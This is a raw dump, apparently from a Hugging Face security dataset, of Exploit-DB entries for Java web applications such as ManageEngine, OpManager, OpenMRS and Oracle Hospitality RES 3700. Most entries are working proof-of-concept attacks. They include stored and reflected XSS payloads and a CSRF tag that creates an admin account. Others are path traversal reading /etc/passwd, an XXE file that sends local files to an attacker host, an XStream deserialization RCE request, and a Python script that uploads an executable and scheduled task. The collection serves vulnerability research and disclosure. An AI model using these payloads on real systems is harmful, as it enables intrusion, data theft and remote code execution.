deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44666
Description: ManageEngine Recovery Manager Plus 5.3 - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2018-05-21
Author: Ahmet Gurel

Exploit:
# Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting
# Dated: 2018-03-31
# Exploit Author: Ahmet GÜREL
# Software Link: https://www.manageengine.com/ad-recovery-manager/
# Version: < = 5.3 (Build 5330)
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-9163

# 1. DETAILS
# In the Add New Technician (s) section on the /admin/technicians page of the
# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows
# remote authenticated users with the Login Name parameter is vulnerable to
# XSS. The parameters entered are written in the database and affect all
# users.

# 2. PoC:
# From the Add New Technician (s) page, it is possible to inject malicious
# web code inside Login Name parameter. The HTTP request looks like the following:

GET
/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22}
HTTP/1.1
Host: 172.16.219.168:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.219.168:8090/
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A;
JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D
Connection: close
Exploit-DB #40569
Description: ManageEngine ServiceDesk Plus 9.2 Build 9207 - Unauthorized Information Disclosure
Type: webapps
Platform: java
Date: 2016-10-18
Author: p0z

Exploit:
Title: ManageEngine ServiceDesk Plus Low Privileged User View All Tickets
Date: 18 October 2016
Author: p0z
Vendor: ManageEngine
Vendor Homepage: https://www.manageengine.com/
Product: ServiceDesk Plus
Version: 9.2 Build 9207 (Other versions could also be affected)
Fixed Version: 9.2 Build 9228 (Released on: 29 September 2016)
URL readme fixed version: https://www.manageengine.com/products/service-desk/readme-9.2.html
Vendor ID report: SD-63280, SD-63281, SD-63282, SD-63283


Product Introduction
==========================

ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand Project Management capabilities.
With advanced ITSM functionality and easy-to-use capability, ServiceDesk Plus helps IT support teams deliver
world-class service to end users with reduced costs and complexity. It comes in three editions and is available
in 29 different languages. Over 100,000 organizations, across 185 countries, trust ServiceDesk Plus to optimize 
IT service desk performance and achieve high end user satisfaction.

Source: https://www.manageengine.com/products/service-desk/


Vulnerability Information
==========================

Class: Improper Privilege Management
Impact: Low privileged user can access sensetive data
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
==========================

A user with low privileged can be able view all requests/tickets (include attachments).


Vulnerability Details
==========================

SD-63280:
Low privileged user can change value for "notifyTo" variable to "REQFORWARD" and get advanced features.
After, user can change ticket id (variable "id") and see all request include attachments, and 
send (forward) to email.

SD-63281:
Using low privileged user can send "Submit for Approval" e-mail even if the user don't have a necessary permission 
to view the request.

SD-63282:
Using low privileged user can able to view the other user's assets by using the below URL.
(Able to view the associated  assets of administrator user using guest login)

SD-63283:
Low privileged user can change value for "viewType" variable to "All" and see preview all requests.


Proof-of-Concept
==========================
SD-63280:
http://localhost:9090/SDNotify.do?notifyModule=Request&mode=E-Mail&id=1&notifyTo=REQFORWARD

SD-63281:
http://localhost:9090/SubmitForApproval.do?ITEMID=1&MODULE=Request

SD-63282:
http://localhost:9090/UserAssets.do?userId=3

SD-63283:
http://localhost:9090/ListRequests.do?reqId=1&viewType=All

Timeline
==========================
09-04-2016: Notification Vendor.
02-06-2016: Vendor set ID's vulnerability.
29-09-2016: Vulnerability fixed.
Exploit-DB #37006
Description: Minify 2.1.x - 'g' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2012-03-21
Author: Ayoub Aboukir

Exploit:
source: https://www.securityfocus.com/bid/52672/info

Minify is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Minify 2.1.3 and 2.1.4-beta are vulnerable; other versions may also be affected. 

http://www.exmaple.com/min/builder/#g=[XSS]
Exploit-DB #44607
Description: ModbusPal 1.6b - XML External Entity Injection
Type: webapps
Platform: java
Date: 2018-05-10
Author: Trent Gordon

Exploit:
[+] Exploit Title: ModbusPal XXE Injection
[+] Date: 05-08-2018
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://modbuspal.sourceforge.net/
[+] Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files
[+] Version: 1.6b
[+] Tested on: Ubuntu 16.04 with Java 1.8.0_151
[+] CVE: CVE-2018-10832

1. Vulnerability Description

ModbusPal 1.6b is vulnerable to an XML External Entity (XXE) attack.  Projects are saved as .xmpp files and automations can be exported as .xmpa files, both XML-based and vulnerable to XXE injection.  Sending a crafted .xmpp or .xmpa file to a user, when opened/imported in ModbusPal 1.6b, will return the contents of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting evil.xml)

b.) Contents of hosted "evil.xml"

<!ENTITY % data SYSTEM "file:///etc/issue">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKERS-IP:9999/?%data;'>">

c.) Example Exploited "xxe.xmpa"

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/evil.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<!DOCTYPE modbuspal_automation SYSTEM "modbuspal.dtd">

<modbuspal_automation>

<automation name="temp" step="1.0" loop="true" init="0.0">

</automation>

</modbuspal_automation>

3. Additional Details

Java 1.7 contains certain defenses against XXE, including throwing a java.net.MalformedURLException when certain characters (such as '/n') are included in a URL.  This means that the file exfiltrated in the above attack is limited to single line files that dont contain any restricted characters.  The above POC uses /etc/issue, which is one of the few common linux files that meets this criteria.  Exploitation of this vulnerability on later versions of Java requires a more creative approach than described above, such as using FTP instead of URL to exfiltrate /etc/passwd.
Exploit-DB #32574
Description: MoinMoin 1.5.8/1.9 - Cross-Site Scripting / Information Disclosure
Type: webapps
Platform: java
Date: 2008-11-09
Author: Xia Shing Zee

Exploit:
source: https://www.securityfocus.com/bid/32208/info

MoinMoin is prone to cross-site scripting and information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials or other sensitive information and to launch other attacks.

MoinMoin 1.5.9 and 1.8.0 are vulnerable; other versions may also be affected.

http://www.example.com/%08?action=fullsearch&value=linkto%3A%22%08%22&context=180 http://www.example.com/VulnVulnVulnVuln/VulnVulnVuln/Vul.........
Exploit-DB #38130
Description: N-able N-central - Cross-Site Request Forgery
Type: webapps
Platform: java
Date: 2012-12-13
Author: Cartel

Exploit:
source: https://www.securityfocus.com/bid/56933/info

N-central is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected. 

<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirm[CREDENTIAL_REDACTED]=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img>
Exploit-DB #51576
Description: Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: java
Date: 2023-07-11
Author: tmrswrr

Exploit:
# Exploit Title: Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS)
# Exploit Author: tmrswrr
# Vendor Homepage: https://decapcms.org/docs/intro/
# Software Link: https://github.com/decaporg/decap-cms
# Version: 2.10.192
# Tested on: https://cms-demo.netlify.com


Description:

1. Go to new post and write body field your payload:

https://cms-demo.netlify.com/#/collections/posts

Payload = <iframe src=java&Tab;sc&Tab;ript:al&Tab;ert()></iframe>

2. After save it XSS payload will executed and see alert box
Exploit-DB #49724
Description: Novel Boutique House-plus 3.5.1 - Arbitrary File Download
Type: webapps
Platform: java
Date: 2021-03-29
Author: tuyiqiang

Exploit:
# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download
# Date: 27/03/2021
# Exploit Author: tuyiqiang
# Vendor Homepage: https://xiongxyang.gitee.io/
# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus
# Version: all
# Tested on: linux

Vulnerable code:

com/java2nb/common/controller/FileController.java

@RequestMapping(value = "/download")
public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {
      String realFilePath = jnConfig.getUploadPath() + filePath;
      InputStream in = new FileInputStream(realFilePath);
            fileName = URLEncoder.encode(fileName, "UTF-8");
      resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

      resp.setContentLength(in.available());

      OutputStream out = resp.getOutputStream();
      byte[] b = new byte[1024];
      int len = 0;
      while ((len = in.read(b)) != -1) {
         out.write(b, 0, len);
      }
      out.flush();
      out.close();
      in.close();
}


Guide:

1. Log in to background management
2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd
Exploit-DB #26001
Description: Novell Groupwise 6.5 Webaccess - HTML Injection
Type: webapps
Platform: java
Date: 2005-07-15
Author: Francisco Amato

Exploit:
source: https://www.securityfocus.com/bid/14310/info

Novell GroupWise WebAccess is prone to an HTML injection vulnerability. This may be used to inject hostile HTML and script code into the Web mail application. When a user opens an email containing the hostile code, it may be rendered in their browser.

Successful exploitation could potentially allow theft of cookie-based authentication. Other attacks are also possible. 

<IMG SRC="j&#X41vascript:alert(document.cookie)">
Exploit-DB #32909
Description: Novell Teaming 1.0 - User Enumeration / Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: java
Date: 2009-04-15
Author: Michael Kirchner

Exploit:
source: https://www.securityfocus.com/bid/34531/info

Novell Teaming is prone to a user-enumeration weakness and multiple cross-site scripting vulnerabilities.

A remote attacker can exploit the user-enumeration weakness to enumerate valid usernames and then perform brute-force attacks; other attacks are also possible.

The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Novell Teaming 1.0.3 is vulnerable; other versions may also be affected. 

https://www.example.com/web/guest/home?p_p_id=82&p_p_action=1&p_p_state=%3Cscript%3Ealert('xss+vulnerability')%3C/script%3E&p_p_mode=view&p_p_col_id=column-2&p_p_col_pos=1&p_p_col_count=2&_82_struts_action=%2Flanguage%2Fview&_82_languageId=de_DE
Exploit-DB #39193
Description: OpenMRS Reporting Module 0.9.7 - Remote Code Execution
Type: webapps
Platform: java
Date: 2016-01-07
Author: Brian D. Hysell

Exploit:
Title: Unauthenticated remote code execution in OpenMRS
Product: OpenMRS
Vendor: OpenMRS Inc.
Tested versions: See summary
Status: Fixed by vendor
Reported by: Brian D. Hysell

Product description:

OpenMRS is "the world's leading open source enterprise electronic
medical record system platform."

Vulnerability summary:

The OpenMRS Reporting Module 0.9.7 passes untrusted XML input to a
version of the XStream library vulnerable to CVE-2013-7285, making it
vulnerable to remote code execution. If the Appointment Scheduling UI
Module 1.0.3 is also installed, this RCE is accessible to
unauthenticated attackers. OpenMRS Standalone 2.3 and OpenMRS Platform
1.11.4 WAR with Reporting 0.9.7 and Appointment Scheduling UI 1.0.3
installed were confirmed to be vulnerable; other versions and
configurations containing these modules are likely to be vulnerable as
well (see "Remediation").

Details:

In the Reporting module, the method saveSerializedDefinition (mapped
to module/reporting/definition/saveSerializedDefinition) in
InvalidSerializedDefinitionController can be accessed by an
unauthenticated user.

The attacker must provide a valid UUID for a definition present in
OpenMRS or a NullPointerException will be thrown before the remote
code execution can take place. However, upon initialization the
Appointments Scheduling UI module inserts a definition with a constant
UUID hard-coded into AppointmentSchedulingUIConstants
(c1bf0730-e69e-11e3-ac10-0800200c9a66).

Proof of concept:

GET /openmrs-standalone/module/reporting/definition/saveSerializedDefinition.form?type=org.openmrs.OpenmrsObject&serializationClass=org.openmrs.module.serialization.xstream.XStreamSerializer&serializedData=<dynamic-proxy><interface>org.openmrs.OpenmrsObject</interface><handler%20class%3d"java.beans.EventHandler"><target%20class%3d"java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy>&uuid=c1bf0730-e69e-11e3-ac10-0800200c9a66&name=test&subtype=org.openmrs.OpenmrsObject

Remediation:

The vendor has addressed this issue in OpenMRS Standalone 2.3.1,
OpenMRS Reference Application 2.3.1, and OpenMRS Platform 1.11.5,
1.10.3, and 1.9.10.

Timeline:

Vendor contacted: November 2, 2015
Vendor replied: November 3
CVE requested: November 14 (no response)
Patch released: December 2
Announced: January 6, 2016
Exploit-DB #30275
Description: OpManager 6/7 - '/admin/DeviceAssociation.do' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: java
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24767/info
    
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/admin/DeviceAssociation.do?selectedNo de=%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E% 2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D %6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3 E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C% 2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%7 0%74%3E%3C%2F%62%6F%64%79%3ENTServiceConfigurations&classNa me=com.adventnet.me.opmanager.webclient.admin.association.N TServiceAssociation
Exploit-DB #30274
Description: OpManager 6/7 - 'admin/ServiceConfiguration.do?Operation' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24767/info
   
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/admin/ServiceConfiguration.do?operati on=modifyNTService%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%7 0%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F% 73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E %4C%6F%73%74%6D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%2 1%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20% 21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72 %74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2 F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%79%3E&services=Alerte r&serviceName=Alerter
Exploit-DB #30271
Description: OpManager 6/7 - 'ping.do?name' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24767/info

OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/map/ping.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73% 74%6D%6F%6E%2E%62%6C%F% 67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%2 1%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%7 9%3E
Exploit-DB #30272
Description: OpManager 6/7 - 'traceRoute.do?name' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24767/info
 
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/map/traceRoute.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C% 6F%73%74%6D%6F%6E%2E62% 6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%2 0%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3 E%3C%2F%62%6F%64%79%3E
Exploit-DB #30273
Description: OpManager 6/7 - reports/ReportViewAction.do Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: java
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24767/info
  
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/reports/ReportViewAction.do?selected Tab=Reports&selectedNode=Server_Memory_Utilization&reportN ame=Utilization_Report%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E %3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F% 6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6 D%22%3E%4C%6F%73%74%6D%6F%6E%20%57%61%73%20%48%65%72%65%20 %21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F% 57%40%20%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%6 1%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69 %65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%79%3EE&di splayName=webclient.reports.servers.memutil
Exploit-DB #48477
Description: Oracle Hospitality RES 3700 5.7 - Remote Code Execution
Type: webapps
Platform: java
Date: 2020-05-18
Author: Walid Faour

Exploit:
# Exploit Title: Oracle Hospitality RES 3700 5.7 - Remote Code Execution
# Date: 2019-10-01
# Exploit Author: Walid Faour
# Vendor Homepage: https://www.oracle.com/industries/food-beverage/products/res-3700/
# Software Link: N/A (Available to customers)
# Version: <= v5.7
# Tested on: Windows Server 2003 / Windows Server 2008
# CVE : CVE-2019-3025

#!/usr/bin/env python

#Author: Walid Faour
#Date: Aug. 2, 2019
#Oracle Hospitality RES 3700 Release 4.9 Exploit

import binascii
import requests

print
print '-------------------------------------------------'
print 'Oracle Hospitality RES 3700 Release 4.9 - Exploit'
print '-------------------------------------------------'
print

IP = raw_input("Enter the IP address: ")
URL = "http://" + IP + ":50123"

f = open("attacker-4.9.exe",'rb')
raw_payload = f.read()
payload_hex = binascii.hexlify(raw_payload)
f.close()

g = open("attacker-4.9.job",'rb')
raw_task = g.read()
scheduled_task_hex = binascii.hexlify(raw_task)
g.close()

def exploit_body(data,full_path):
	body = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> \
			<SOAP-ENV:Body xmlns:MCRS-ENV="MCRS-URI"> \
				<MCRS-ENV:Service>MDSSYSUTILS</MCRS-ENV:Service> \
				<MCRS-ENV:Method>TransferFile</MCRS-ENV:Method> \
				<MCRS-ENV:SessionKey>Session</MCRS-ENV:SessionKey> \
				<MCRS-ENV:InputParameters> \
					<dst>' + full_path + '</dst> \
					<fn>' + full_path + '</fn> \
					<data>' + data + '</data> \
				</MCRS-ENV:InputParameters> \
			</SOAP-ENV:Body> \
		</SOAP-ENV:Envelope>'
	return body
def exploit_headers(body):
	headers = {
		"Content-Type" : "text/xml",
		"User-Agent" : "MDS POS Client",
		"Host" : IP + ":50123",
		"Content-Length" : str(len(body)),
		"Connection" : "Keep-Alive"
	}
	return headers
print 'Exploiting Oracle Hospitality RES 3700 at IP address ' + IP + '...'
body_payload = exploit_body(payload_hex,"C:\\Windows\\System32\\attacker-4.9.exe")
body_task = exploit_body(scheduled_task_hex,"C:\\Windows\\Tasks\\attacker-4.9.job")
send_payload = requests.post(URL,data=body_payload,headers=exploit_headers(body_payload))
send_task = requests.post(URL,data=body_task,headers=exploit_headers(body_task))